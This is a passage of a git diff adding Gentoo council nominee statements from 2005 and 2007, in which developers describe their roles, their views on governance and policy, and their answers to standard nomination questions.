+the odd base package that I haven't managed to move into another herd yet, the
+versionator eclass, SPARC and MIPS archs. I also started and wrote most of the
+unofficial devmanual and the ebuild quiz.
+
+The role I see for the council:
+
+The current situation with the tree is far from perfect. Things get broken,
+but then, things will always break. The problem is that most of these
+breakages are avoidable. I see the council as a means to reducing these.
+There're a few ways that stand out:
+
+* Technical knowledge base -- there's no real authoritative source of answers
+  to technical questions currently. The devmanual has some answers, but it
+  lacks any official status, and, in the current situation, seems to lack any
+  way of becoming official. There've been various posts to -core and -dev that
+  outline various things, but again, they don't carry any clout with the kind
+  of developer who is inclined to ignore anything which doesn't have a big
+  shiny "OFFICIAL" stamp on it.
+
+  Simply dishing out mandates isn't going to work, however. Whilst Daniel
+  might have been able to push through the occasional issue based upon
+  authority rather than technical decisions, this isn't going to work from a
+  council. The rationale-based format I use in the devmanual illustrates how
+  I'd like to see things done.
+
+* Technical guidance -- for things that don't currently have a written up
+  solution, some way of getting one is needed. As it stands, any kind of
+  technical decision-making will be argued to death with silliness like "if it
+  isn't already written up as official policy then it's not official policy".
+  There needs to be some way of breaking this.
+
+* Technical enforcement -- as it stands, some really really broken things can
+  be put in the tree and left there for a very long time simply because
+  there's no-one who can step in and say "this needs to be fixed or removed".
+  Similarly, there needs to be an end to the way a very small number of
+  developers repeatedly and deliberately violate keywording policy, ignore
+  repoman and generally screw over everyone who has to tidy up after them.
+  Right now maybe half of the work done by arch teams is fixing up things that
+  wouldn't've been broken had basic policy been followed.
+
+What I don't want is a council that goes around interfering unnecessarily. The
+current development process isn't broken, it's just not as smooth as it could
+be. There's no need to change lots, but there is a need to apply some
+lubricant here and there... Metaphorically, of course.
+
+Similarly, I don't think Gentoo needs a super-strong roadmap as such, or at
+least not one that's determined by the council. Sure, the occasional prod in a
+particular direction could help, but nothing more.
+
+I'm also not in favour of a council that's in cahoots with any of the other
+high profile Gentoo groups. I think it's important that the council can and
+occasionally will disagree with the Foundation -- we have a chance to get away
+from the old Cabal style organisation, and we should use it.
+
+I guess I should also comment on the non-Linux debate... In principle I like
+the idea of ports to non-Linux. However, this kind of thing is *not* trivial,
+and needs a lot of work to be done correctly. I'm not against non-Linux things
+being moved into the main tree, *if* it is done only once all the technical
+issues and problems have been properly ironed out in overlay. The way *bsd is
+being handled is good. The way macos was initially handled must not be
+repeated, and I'd hope that the council would step in very quickly if the same
+mistakes were made again.
+
+There's been this strange notion floating around that Gentoo should be about
+giving commit access to as many people as possible and encouraging people to
+spread ricer propaganda. I think this is a terrible idea. Screwing up a commit
+can break all kinds of things and waste huge amounts of other developers'
+time.  The last thing we want is a repeat of the 'mkdir in global scope'
+fiasco.  Gentoo is *not* about inclusiveness, nor is it about giving
+recognition and approval to every single project and person under the sun. A
+degree of elitism is necessary and appropriate if we want to maintain any kind
+of standard.
+
+Finally, on the subject of PR. We have all kinds of brilliant products and
+services that no-one else can provide. We should be selling ourselves to the
+public based upon these. We should not be advertising things we are not
+delivering and can not deliver. We should not be advertising based upon things
+we are not. Frankly I find it disappointing that some people think so little
+of what we do have that they consider it necessary to base our PR upon
+anything else.
diff --git a/xml/htdocs/proj/en/council/voting-logs/nominees/2005/jaervosz.txt b/xml/htdocs/proj/en/council/voting-logs/nominees/2005/jaervosz.txt
new file mode 100644
index 00000000..a9fc7f59
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/nominees/2005/jaervosz.txt
@@ -0,0 +1,24 @@
+My real name is Sune Kloppenborg Jeppesen I've just turned 30 and I live in
+Aarhus, Denmark. Currently I'm working as an IT consultant at a large Danish
+hospital implementing VOIP. Previously I've been sysadminning at a Danish
+facility hosting provider. Both places running Gentoo boxes in production.
+
+I've been running Gentoo since late 2002 when I decided to do a scratch install
+on the laptop I used for writing my thesis (about searching in distributed
+networks). Soon after that I installed Gentoo on all my personal computers, 6 so
+far (plus an OpenWRT box). I was recruited in May 2004 by Kurt Lieber to help
+out the Security Team and have crunched out a few GLSAs since then and closed a
+few more bugs. I have also contributed to a few ebuilds and documents and I'm
+the author of the Gentoo mailfiltering gateway guide. I also tried to get GLEP
+19 off the ground some time back with a few other developers. It failed to
+really take off at the time, but I'm still hoping to be able to help out with
+Gentoo Stable/Enterprise one day.
+
+My work with the Security Team has primarily consisted of coordination between
+different developers involved in the security process. I have reasonable
+diplomatic skills and generally try to handle everyone with respect. On a more
+controversial note I do believe large open source projects like Gentoo should
+have an opinion about relevant IT politicial matters. As with
+bureacracy/organization I believe both issues should be kept to a minimum so
+developers can do their work unhindered but nonetheless both things are
+necessary.
diff --git a/xml/htdocs/proj/en/council/voting-logs/nominees/2005/johnm.txt b/xml/htdocs/proj/en/council/voting-logs/nominees/2005/johnm.txt
new file mode 100644
index 00000000..337b7227
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/nominees/2005/johnm.txt
@@ -0,0 +1,16 @@
+I believe most of you know me (after all I'm part of the wood work
+around here now). For those of you who don't here is a very quick bit
+about myself...
+
+I'm from the UK, and I have worked on Gentoo for some years now. I
+mostly stick to Kernel related work, but still quite often delve in
+other peoples things (when asked) or outdated packages.
+I have a strong belief that what we do is helping hundreds (thousands
+and millions!) and I also have a lot of pride from working with many
+talented individuals over the years. I will strive to ensure that the
+decisions the council make are for the all round good, and also
+technically accurate, efficient and justified. After all, I want success
+as much as the next person :)
+
+Not going to waffle, so I will return you all to your regular scheduled
+programming.
diff --git a/xml/htdocs/proj/en/council/voting-logs/nominees/2005/mcummings.txt b/xml/htdocs/proj/en/council/voting-logs/nominees/2005/mcummings.txt
new file mode 100644
index 00000000..924fecfb
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/nominees/2005/mcummings.txt
@@ -0,0 +1 @@
+Um, so, like, you all know me. If you don't - sorry :)
diff --git a/xml/htdocs/proj/en/council/voting-logs/nominees/2005/seemant.txt b/xml/htdocs/proj/en/council/voting-logs/nominees/2005/seemant.txt
new file mode 100644
index 00000000..42d5a580
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/nominees/2005/seemant.txt
@@ -0,0 +1,37 @@
+http://planet.gentoo.org/developers/seemant/2005/07/11/i_am_not_a_jedi
+
+Gentoo's organisational structure is undergoing a change. This is the 
+culmination of a lot of proposals from a lot of different people. The old TLP 
+management structure simply did not scale well enough to retain its 
+effectivity. It's no secret that the Gentoo project has grown: very large very 
+fast. It's been doing this for about 3 years now, with no real signs of 
+letting up.
+
+Now, slarti did nominate me to be on the council. I'd like to thank him for 
+thinking of me. I was a part of the initial metastructure: I believe I headed 
+up devrel and qa and something else at the time. Devrel was quickly handed off 
+to avenj who had been my parter-in-crime in being devrel before it officially 
+existed. The QA project never really took off, despite my best efforts. Let me 
+put that into perspective. I was heading up base, x11, and devrel which took 
+most of my time. I took on QA with the express purpose of getting someone else 
+to take it over. I tried a bunch of people (some of whom already actually _do_ 
+qa), but nobody wanted it. Finally, out of the blue, Sven approached me and qa 
+exists and is in process. The page I've linked to is just a placeholder, so 
+don't take it too seriously. In the next week watch for massive updates!
+
+As for devrel, we did some things right and some things wrong. The wrongs are 
+being fixed currently and I believe that the new and improved devrel under 
+Deedra's leadership will be a stronger and better one. It'll probably never be 
+a popular one though (at least not for the right reasons).
+
+I'll take QA as my failure to build a team. However, that's been my strong 
+point and the recurring theme throughout my time as a Gentoo developer. It's 
+what I do, it's my M.O.: find what's broken, find someone who can fix, put the 
+two together, back away slowly.
+
+Also, I'm the head (once again) of bug-wranglers, heading a team of two! Jakub 
+of course is the primary bug-wrangler currently. So anyway, without getting 
+too long winded -- I'm not *highly* technical in the coding sense, but I have 
+some pretty good ideas (cascading profiles, runlevels etc) and I can put 
+together teams to make them come to pass (even if it's two years after the 
+fact).
diff --git a/xml/htdocs/proj/en/council/voting-logs/nominees/2005/solar.txt b/xml/htdocs/proj/en/council/voting-logs/nominees/2005/solar.txt
new file mode 100644
index 00000000..1e0bb47d
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/nominees/2005/solar.txt
@@ -0,0 +1,180 @@
+http://dev.gentoo.org/~slarti/misc/nominees.html
+
+I following devs have earned my respect and thus I think we should make 
+up the council. Many others have earned my respect but are not listed 
+here.
+
+First thing I want there to be is clear distinction between a council and 
+our board of trustees.
+
+My feelings on what I want to see in a Gentoo council would be having a 
+few people from the base system, security, hardened, server, embedded, 
+portage, qa teams. Mostly a council that is almost purely for technical 
+directions that Gentoo is going.
+
+As it stands this is how I plan to vote and why. I would appreciate it 
+if you would carefully consider the following candidates for the council.
+
+------------------------------------------------------------------------------
+
+Mike Frysinger (vapier)
+- Cares enough to make Gentoo not suck.
+- Often injects his own random humor at just the right time to keep things real.
+- technically creative
+- super human powers
+- Keeps it real!
+
+* Herds: arm base-system cron embedded games gcc-porting hppa ia64 net-fs netmon qmail toolchain vmware
+
+ Mikes role in Gentoo goes way back. I look at him as equal peer. If and
+ when I'm ever in unsure about something with Gentoo I usually consult
+ with him first.
+
+------------------------------------------------------------------------------
+
+Martin Schlemmer (azarah)
+- Current lead of of base-system and thus all things Gentoo in my minds eye.
+- displays wisdom.
+- active c coder of core Gentoo utils/tools
+- nice guy
+
+* Herds: base-system gcc-porting mozilla pam toolchain x11 x11-drivers
+
+ Martin is one of the few like Mike who has been extremely helpful to me
+ mainly as an adviser from the tecnicial point of view. From him one of 
+ the main lessons I've learned is how to avoid the flame wars. His 
+ contributions for Gentoo speak for themselves.
+
+------------------------------------------------------------------------------
+
+Aron Griffis (agriffis)
+- displays alot of wisdom for his age
+- Writes decent tools
+
+* Herds: alpha alpha-kernel base-system ia64 ia64-kernel mozilla toolchain
+
+ Aron has a pretty good grasp of the inner workings of Gentoo. 
+ I tend to respect his opinions.
+
+------------------------------------------------------------------------------
+
+Thierry Carrez (Koon)
+- Current day to day operations mgr of the security team
+- Exceptional origination skills
+- Self motivated
+
+* Teams: security
+
+ His role to Gentoo has mostly been with the security team thus far.
+ He came in and lent a hand in taking what we started to the next level 
+ by getting things documented and helping fill in the missing gaps. Koon has 
+ helped quite a few minions scount the 
+
+------------------------------------------------------------------------------
+
+
+Ciaran McCreesh (ciaranm)
+- technically component in many areas of computing
+- adheres to a pretty strict self logic
+- puts his own ass on the line for the sake of the tree
+
+* Herds: base-system commonbox cron mips shell-tools sparc vim
+
+ Ciarans limiting factor so far has been due to the fact he has not
+ played such an active roll in the final decision making. Like myself I 
+ think he is often misunderstood by the less than technically competent 
+ crowd. I think if given the chance and backed up by the proper co council
+ he will shine. He has good writing skills and would probably document 
+ better than anyone else the workings of the council. Overall I think 
+ he would make a valuable addition to the council. He can sometimes be 
+ abrasive when somebody else proposes an idea that can globally hurt 
+ Gentoo, but I don't mind that so much as my general feeling is if you 
+ can't handle it then you need to stop trying to play with the big dogs.
+
+------------------------------------------------------------------------------
+
+Jason Wever (Weeve)
+- Understands the need for proper q/a
+
+ Write something about weeve here or somebody else from the older 
+ hardware teams. (maybe kumba)
+
+------------------------------------------------------------------------------
+
+Somebody from the portage team needs to be on this list but I'm not sure who yet.
+
+------------------------------------------------------------------------------
+Danny van Dyk (Kugelfang)
+- stuff.
+
+ Kugelfang has been catching my eye as a pretty ok dev as of recent.
+ I've not interacted with him enough on a day to day to really be able to
+ have a formulated opinion, but I think he is a proper team player and helpful 
+ where he can be to other devs which is a good sign. Kugelfang Maybe even a be 
+ candidate fir the future base-system.
+------------------------------------------------------------------------------
+
+Self (solar)
+
+ I really don't like talking about myself so much but here goes anyway. 
+ I've been a linux user for about 10 years. Those who have worked with me 
+ know what I bring to the table. Those who don't should take to somebody 
+ that does.
+
+* Herds: base-system embedded hardened toolchain
+* Teams: security infra
+
+ I also try and help out or learn from/with my fellow devs in 14 or so
+ gentoo related irc channels.
+
+ My main contributions to Gentoo so far include the formations of the 
+ initial security team, the embedded team and am probably the most active 
+ member of the hardened team. 
+
+ One of the lessons I learned early on is that Gentoo is about choice.
+ While most choice is good there are a few choices that clearly could
+ severely damage the tree, our reputation or even worse our systems.
+ Choices such as these which can have adverse effects need to be 
+ made by a competent team such as the one I've outlined here.
+ My passion is coding, I do it mainly for myself. Unlike a few unnamed
+ souls that I wont mention here out of respect I don't try to force my
+ code or ideas down your throats. I think that is about respecting choice.
+ I work primarily behind the scenes avoiding conflict and looking for
+ creative solutions to problems where and when I can.
+
+ It's not within my power alone but I fully support the idea of an
+ Gentoo Enterprise/Stable Linux, and am willing to work with anybody 
+ else that wishes to move in that direction.
+
+------------------------------------------------------------------------------
+
+People that are trustees:
+
+ If other devs don't think there really needs to be a clear distinction
+ between a council and our board if trustees then the following guys
+ deserve to win some votes.
+
+------------------------------------------------------------------------------
+
+Sven Vermeulen (Swift)
+- This guy got the xml docs going.
+- Has a pretty good grasp of the old school big picture and I've yet to see him steer us wrong
+- He has been  expediently helpful to me personally over these past few years
+
+------------------------------------------------------------------------------
+
+Lance Albertson (Ramereth)
+- Self motivated
+- treats others with respect
+- good at putting out the fires
+- day to day operations mgr of infra
+- earn my personal respect
+
+------------------------------------------------------------------------------
+
+Joshua Kinard (kumba)
+- Orig author of the crossdev util
+- He maintains close relationships with sparc/mips teams
+- pretty damn funny and keeps it real
+
+------------------------------------------------------------------------------
diff --git a/xml/htdocs/proj/en/council/voting-logs/nominees/2005/spb.txt b/xml/htdocs/proj/en/council/voting-logs/nominees/2005/spb.txt
new file mode 100644
index 00000000..d194280d
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/nominees/2005/spb.txt
@@ -0,0 +1,25 @@
+Well, agriffis suggested that we all write up why you should vote for us for
+the council, so here goes...
+
+The council is envisioned mainly as a technical decision-making body, that
+votes on things affecting multiple projects within Gentoo. So, as the theory
+goes, its members should know at least something about as many of the projects
+and areas of development as possible. While I don't claim to be nearly the
+'best' dev in that regard, I do know at least something about a few of the
+projects. For those who (quite understandably) haven't picked up on what I do
+with my time, I head up the Gentoo/FreeBSD project, work on the Mips port, and
+specifically the selinux/mips profile and related goodies. So, I could be said
+to tinker with hardened as well. I also know the portage code to some extent,
+having had to make a few changes to it for the freebsd red-headed stepchild
+project. I also idle in a number of the #gentoo-* irc channels, so I know at
+least something about how a lot of the projects work. 
+
+I think that covers most of the areas that are likely to be initiating major 
+changes (portage development, non-glibc/non-linux systems, generally areas of 
+'new' development / stuff that's vastly different to what the tools were 
+designed for), as well as those that seem to get screwed over at random the 
+most (arch teams, to some extent hardened, generally those that aren't running
+the same system as everyone else). 
+
+Alternatively, vote for ciaranm for the same reasons, except that he knows
+more than I do about most of them. 
diff --git a/xml/htdocs/proj/en/council/voting-logs/nominees/2005/tigger.txt b/xml/htdocs/proj/en/council/voting-logs/nominees/2005/tigger.txt
new file mode 100644
index 00000000..6fe917a7
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/nominees/2005/tigger.txt
@@ -0,0 +1,29 @@
+I accept the nomination. Shan't give a goals/aims speech thing. You all
+know me well enough to decide whether you think I'd be a good council
+member or not.
+
+
+[a day later ...]
+
+
+Ok,
+
+Changed my mind about the whole speech thing after the latest round of
+rubbish. So here is my "speech":
+
+If elected I would aim to reduce the amount of bs on -core by
+application of big sticks. I would also attempt to reduce the crazy
+amount of arguments about arguments (which seems to be what it all is).
+
+When so many people think -core is fit for /dev/null something is
+seriously fucked up isn't it? (that's a trick question...)
+
+Even worse is if we consider "but it was in an email to -core" as a
+reason for everyone to know something and yet continue to pollute it
+with bickering.
+
+I am anti-democracy-for-gentoo and favour meritocracy, so vote for me!
+
+(haha, that's so messed up, I don't beleive in voting so vote for me...)
+
+This concludes our party-unpolitical broadcast.
diff --git a/xml/htdocs/proj/en/council/voting-logs/nominees/2005/tomk.txt b/xml/htdocs/proj/en/council/voting-logs/nominees/2005/tomk.txt
new file mode 100644
index 00000000..879bfc0e
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/nominees/2005/tomk.txt
@@ -0,0 +1,22 @@
+For those who
+don't know me I'm Tom Knight (tomk), I live in Sheffield, UK and I'm a work
+as a coder for a text messaging company (I recently wrote the thing which
+calculates the votes for Big Brother, although that's probably lost me a few
+votes:). I've been using Linux for 6 years, the last 2 of which I've been
+using Gentoo. I was originally drawn to Gentoo by the great community and
+the way that everything worked well and looked really nice without any
+bloat.
+
+My main area of work has been on the forums where I've been a moderator
+since March 2004 and an admin since April 2005. I've taken over the role of
+maintaining, upgrading and fixing the forums software. I've implemented many
+new features focusing on security, SQL optimisation and making the
+day-to-day running of the forums less time-consuming so that moderators have
+more time to help out.
+
+I've been a dev since July 2004, working in the net-mail and php herds and I
+also maintain app-editors/joe. Although I haven't been around as long as
+some of the other nominees, I think I've got some qualities that would make
+me a good choice for the council: I've got good all-round technical
+knowledge, I'm a rational decision maker and I've got good diplomatic
+skills.
diff --git a/xml/htdocs/proj/en/council/voting-logs/nominees/2005/vapier.txt b/xml/htdocs/proj/en/council/voting-logs/nominees/2005/vapier.txt
new file mode 100644
index 00000000..cd2d5c0e
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/nominees/2005/vapier.txt
@@ -0,0 +1,26 @@
+i'm Mike, ive been around for a little while (joined in Sep 2002), and i dont 
+really like writing non-technical materials, so this will probably be a bit 
+plain and more like a brain dump.
+
+i enjoy hacking on Gentoo and prefer to drop the bullshit since it wastes time 
+and prevents me from focusing on coding.  ive worked on a bunch of packages 
+throughout the tree at one point or another, mostly on a personal quest 
+dubbed "i wish i was as cool as az".  you can find me on irc as SpanKY or 
+vapier as one of those dual-nick bastards; just look for the guy me acting 
+gay/retarded/etc... in an endless misguided effort to break down stereotypes 
+and liven up people's day.  you had a bad day huh ?  well here, touch my 
+wang, that'll make it all better.
+
+i currently have leading roles in misc Gentoo projects with other devs, such 
+as Games, QA, base-system, toolchain, and embedded.  i like to delve into low 
+level details because we tend lack developers who have such knowledge and it 
+makes it a pita trying to resolve bugs when you lack such resources.
+
+my driving force is a love of giving people unrestricted choices; i love the 
+idea of public domain, wish *everything* was in public domain, and wish the 
+people who came up with the ideas of copyrights, intelluctual property, and 
+licenses never existed.  as part of this ideal, i respect other people's 
+decisions and recognize that not everyone feels the way i do, so you wont 
+find me acting like RMS trying to force the minds of others.  i'm a software 
+communist but that doesnt mean you should be too (unless you want to).  
+better red than dead eh
diff --git a/xml/htdocs/proj/en/council/voting-logs/nominees/2007/amne.txt b/xml/htdocs/proj/en/council/voting-logs/nominees/2007/amne.txt
new file mode 100644
index 00000000..32540dc4
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/nominees/2007/amne.txt
@@ -0,0 +1,96 @@
+<http://archives.gentoo.org/gentoo-dev/msg_147364.xml>
+<http://dev.gentoo.org/~amne/stuff/councilnomination.txt>
+
+General stuff:
+
+A) Communication: While the council is the governing body of Gentoo, it is
+   important to stay in touch with the people who voted for the council in the
+   first place. That means: Announcing meetings, posting logs and summaries
+   thereof so people know what you are doing.
+   If no one else does, i would be willing to take care of this.
+
+   Furthermore i think Gentoo is more than just the people wearing the
+   developer tag. Originally coming from the user community through the
+   forums, i think it is vital to have an open ear not only to the developer
+   community, but all people who contribute to Gentoo in whatever way.
+
+B) Decision making: As i see it, the council is supposed to make decisions,
+   but not work them out all alone by itself. The best way to do so is
+   gathering input from the whole community and decide what's best instead of 
+   having a closed process that only involves the council members and a
+   selected few. 
+
+C) Having a strong council: I think the council should be strong in its
+   decisions, but as stated in 1) and 2) they should be made based on the
+   input from the community.
+   
+D) Get the CoC situation fixed:
+   Without specifics, i'm interested in finally having a solution that
+   enforces the CoC on both users and developers and has clearly defined roles
+   and authorities without overlaps between different projects.
+   That doesn't mean moderating opinions, but clearly saying no to abusive
+   behaviour, from whomever it's coming.
+
+   I also think that social problems should and cannot be solved with
+   technical solutions alone, but only human interaction.
+
+E) Now for some Q&A fun:
+
+1) What you will do?
+3) How you will do it?
+
+See above.
+
+2) Why you will do it?
+
+Because i care. I guess some people may disagree with what i'm suggesting or
+what i did before, e.g. as the proctors lead. Feel free to do so, no offence
+taken. In any case my motivation is that i care about Gentoo and its
+future. If you think my ideas are bad and i suck, feel free to vote for
+someone who sucks less. ;-)
+
+4) What is the timescale for doing it?
+
+No specific timescale for A-C, D has been hanging in limbo long enough and
+should be cleared out.
+
+5) What experience do you have with this or a similar role?
+
+I've been one of the Gentoo Forums leads for a while, and so far they haven't
+kicked me from that job. 
+
+6) Why do you think you are qualified?
+
+Jan said so in his mail that nominated me. :-)
+I think i understand the social processes within Gentoo quite well, including
+integrating the forums mods officially into Gentoo, and some first hand
+experience from spending some time in devrel and the proctors project.
+
+7) How you plan to balance a council role with your current Gentoo role?
+
+The other forum moderators won't even notice me slacking off.
+
+8) How much time can you dedicate to the council role?
+
+As much as i think is good for me and Gentoo. As stated above, i see the
+council as a deciding part of Gentoo. Reading input from different parties
+certainly takes time and as a council member response times shouldn't be too
+high.
+If something requires some more time every now and then, it can also be
+dedicated.
+
+However i have no plans to work 168 hs/week on council stuff, simply because
+one of the things i've learned from my Gentoo experience so far is that one of
+the most important things is not burning out by putting all your energy into
+it. If Gentoo stuff stops being fun, it's time to step back and let someone
+else do it.
+If anything, i like to contribute to Gentoo in a non-stressed out and positive
+way.
+
+F) Most important things
+- Yes, this is a popularity contest. So i guess no one reads this actually
+that far. ;-)
+
+- If you're still not convinced I promise you guys free icecream in the Gentoo
+cafeteria, a casual friday (no ties! no shirt!) and a 20% raise in
+zero-day-kittens.
diff --git a/xml/htdocs/proj/en/council/voting-logs/nominees/2007/betelgeuse.txt b/xml/htdocs/proj/en/council/voting-logs/nominees/2007/betelgeuse.txt
new file mode 100644
index 00000000..b29f8a44
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/nominees/2007/betelgeuse.txt
@@ -0,0 +1,60 @@
+<http://archives.gentoo.org/gentoo-dev/msg_147268.xml>
+
+Christina Fullam kirjoitti:
+> Just a reminder about nominations and voting...
+> If anyone is still interested in running, you have one week left for
+> nominations.
+> Most who have accepted havent told us why we should vote for them. Whil=e
+> that information is not required perhaps it should be if we are to make=
+
+> intelligent votes - sorry this isnt a popularity contest so give us som=e
+> content to review.
+
+Dunno. Seems like a popularity contest to me :) Of course answering the
+questions well can increase your popularity.
+
+>
+> 1) What you will do
+>
+
+Provide my knowledge and hopefully get things done. As for the goal side
+I will push for getting EAPI-0 and EAPI-1 finished and accepted.
+
+> 2) Why you will do it
+
+To loose the right to blame others.
+
+> 3) How you will do it
+
+With sticks and carrots.
+
+> 4) What is the timescale for doing it
+
+Of course it would be great to provide some far reaching visions at this
+point but I think it would be better to focus on the bunch of important
+things on the table that need doing and after getting that stuff done
+start to think about the next things to do.
+
+> 5) What experience do you have with this or a similar role
+
+At least some people should remember what I did during 2006.
+
+> 6) Why do you think you are qualified
+
+At least I am the Java and Recruiters lead.
+
+> 7) How you plan to balance a council role with your current Gentoo role=
+
+
+I will make Calchan and Java monkeys do all the work for me :)
+
+> 8) How much time can you dedicate to the council role
+
+A couple hours weekly should not be much of a problem.
+
+But really if you need any further info just ping me on IRC or of course
+you can ask here too. My irssi never sleeps.
+
+Regards,
+Petteri
+
diff --git a/xml/htdocs/proj/en/council/voting-logs/nominees/2007/dberkholz.txt b/xml/htdocs/proj/en/council/voting-logs/nominees/2007/dberkholz.txt
new file mode 100644
index 00000000..0c50750c
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/nominees/2007/dberkholz.txt
@@ -0,0 +1,56 @@
+<http://archives.gentoo.org/gentoo-dev/msg_147362.xml>
+
+> 1) What you will do
+> 2) Why you will do it
+> 3) How you will do it
+> 4) What is the timescale for doing it
+> 5) What experience do you have with this or a similar role
+> 6) Why do you think you are qualified
+> 7) How you plan to balance a council role with your current Gentoo
+> role 8) How much time can you dedicate to the council role
+
+After much thought and many encouraging words from other developers,
+I've decided to accept the nomination for the council.
+
+I wrote about some of my goals recently on my blog [1]. My primary
+focus is to make Gentoo a better tool. They are all reasonable goals
+that should be doable over the course of the next year.
+
+Also, I want to join the council to ensure that Gentoo's long-term
+values are upheld. Since I joined Gentoo four years ago, I've become
+one of our senior developers. That's given me a strong understanding of
+our core philosophies. It's crucial for our council to maintain our
+philosophies through its actions, so the council should be composed of
+people who understand what Gentoo really means.
+
+I've held a number of leadership roles within Gentoo, including X team
+lead, clustering project lead and desktop manager. I spent quite a
+while on devrel as a recruiter, which helped me learn about mentoring
+new developers and dealing with difficult old ones. I try to be a voice
+of reason on the mailing lists, and I care deeply about building the
+strength of our community, both of which I've worked on over my time as
+a developer.
+
+Many of our current council members who chose to decline their
+nominations mentioned that dealing with difficult people was what
+determined their choice. One of my strengths is remaining calm under
+pressure, so I can deal with this.
+
+A year ago, I declined nominations for both the council and the board of
+trustees. This year gave me time to consider what I really care about in
+Gentoo. The conclusion I came to is that what I care about most is our
+community and making Gentoo a better tool, both of which I can better
+accomplish by joining the council.
+
+Although I do have a number of projects [2] in the works, they've been
+on the back burner for a while and I'm content to let them stay there
+while I work on my true priorities in Gentoo. The X work has gotten a
+lot easier since we got to a smooth, fully modular setup. I'd like to
+get another recruit to help with bugs now that Josh retired, but it's
+not so time-consuming that I don't have time for the council.
+
+Thanks,
+Donnie
+
+1. http://spyderous.livejournal.com/91151.html
+2. http://dev.gentoo.org/~dberkholz/proj/
diff --git a/xml/htdocs/proj/en/council/voting-logs/nominees/2007/dertobi123.txt b/xml/htdocs/proj/en/council/voting-logs/nominees/2007/dertobi123.txt
new file mode 100644
index 00000000..46846a26
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/nominees/2007/dertobi123.txt
@@ -0,0 +1,93 @@
+<http://archives.gentoo.org/gentoo-dev/msg_147493.xml>
+<http://www.scherbaum.info/~tobias/manifesto>
+
+Involvement.
+============
+The time I've spent with Gentoo in the past few years has shown
+involvement. Starting as a user, helping others in the forums and on
+mailing-lists I quickly started contributing. First with German
+translations of GWN and documentation, for which I became responsible quite
+fast. Afterwards I took the ebuild quiz and helped our PPC team maintaining
+the stable-tree and started building the release-media for HPPA plus I'm
+maintaining several packages for now.
+
+To quote Daniel Robbins [1]:
+"And if you are already a developer who wants the Gentoo ecosystem to
+improve, consider getting involved with the council, as a trustee, or work
+to give regular users more of a voice on the project. Gentoo the distro
+begins and ends with its users."
+
+Running for the council is another (logical?) step of involvement.
+
+
+Reliability.
+============
+
+While getting more and more involved with Gentoo I always tried to not make
+wrong promises I couldn't hold. Being responsible for the HPPA
+release-media for about 2 years and PPC's security liaison for about one
+and a half year has shown that I'm trying to be a reliable community
+member. (Uber could argue that I failed at writing the Gentoo/FreeBSD SPARC
+doc, yeah I failed at that - sorry :P)
+
+
+Accountability.
+===============
+
+Though I think we need a strong council which is empowered by all
+Gentoo Developers taking part in this election and therefore free in it's
+decision making process, I think that the council's decisions should be
+made upon what's best for Gentoo and our community. Also decisions should
+reflect Gentoo's interests and not individual opinions.
+
+Once a decision is taken by a majority of council members I would expect
+all council members to respect and support this decision - as it's been
+made on Gentoo's interests and not individual preferences. Doing otherwise would
+lead into a weak council which isn't able to enforce their decisions.
+
+Questions.
+==========
+
+1) What you will do?
+
+Everything which needs to be done, especially focused on improving
+Gentoo's "ecosystem" and community relations. I'm pretty sure social
+problems can't be fixed by technical solutions - therefore we need to
+improve community relations and possibilities for users to get involved.
+
+2) Why you will do it
+
+See "Involvement".
+
+3) How you will do it?
+
+See "Accountability".
+
+4) What is the timescale for doing it?
+
+The timescale I'm elected for.
+
+5) What experience do you have with this or a similar role?
+
+I was responsible for managing German translations a while ago, but no real
+experience in that tbh.
+
+6) Why do you think you are qualified?
+
+See "Involvement".
+
+7) How you plan to balance a council role with your current Gentoo role?
+
+I can't see problems where council decisions can conflict with my current
+Gentoo roles, but if so it'll be my duty as a council member to vote on
+Gentoo's interests and not my personal preferences.
+
+8) How much time can you dedicate to the council role
+
+Hopefully as much time as needed, though I wasn't able to catch up w/ dev-list
+discussions in the past few months (in which I wrote that little shiny book
+...).
+
+
+[1] http://blog.funtoo.org/2007/07/your-choices-with-gentoo.html
+
diff --git a/xml/htdocs/proj/en/council/voting-logs/nominees/2007/jokey.txt b/xml/htdocs/proj/en/council/voting-logs/nominees/2007/jokey.txt
new file mode 100644
index 00000000..2bf090ec
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/nominees/2007/jokey.txt
@@ -0,0 +1,60 @@
+<http://archives.gentoo.org/gentoo-dev/msg_147280.xml>
+
+> 1) What you will do
+> 2) Why you will do it
+
+While being all for finally documented EAPI stuff (we really need use
+and slot deps), I also want to keep an eye on user involvement. After
+all I wouldn't be a dev myself if some other dev would have been willing
+to help me with this stuff.
+
+I think we have quite a bunch of powerusers who either hide a bit in the
+corner or hit some devs they can't work along with. Actually makes me
+sad when I see such stuff when userrel@ gets involved.
+
+Besides that, some Distributions that base their work on gentoo already
+have hit some technical issues with the system they want to work around
+(There will be a binary merger some time soonish)... We should see if we
+can pick up some stuff from the communities that are even not directly
+gentoo related to see if we can merge work instead of duplicating it.
+I second a recent planet post about NotInventedHere problems sometimes.
+
+That should bring us back on track and at the technical top of
+(meta)distributions :)
+
+> 3) How you will do it
+
+For the technical part, well, you can't force someone to do things if he
+works just for fun. Though I want to get people motivated to work
+towards the new features mentioned in previous questions. On many ends
+we have proven that we can handle even huge evolutions soonish, so we
+should go on with it.
+
+> 4) What is the timescale for doing it
+
+Some of my ideas take some weeks, some may last longer. Depends on
+motivation of all involved, though I'm willing to set a point on that.
+
+> 5) What experience do you have with this or a similar role
+
+As being part of userrel, overlays lead and sunrise co-lead I already
+have a fair share at users front I think ;)
+
+> 6) Why do you think you are qualified
+
+I'm quite active in the opensource community (member of two LUGs),
+gentoo user since 1.4rc days and dev for more than one and a half year
+now. I think I know more a bit about how the stuff works around here.
+
+> 7) How you plan to balance a council role with your current Gentoo role
+
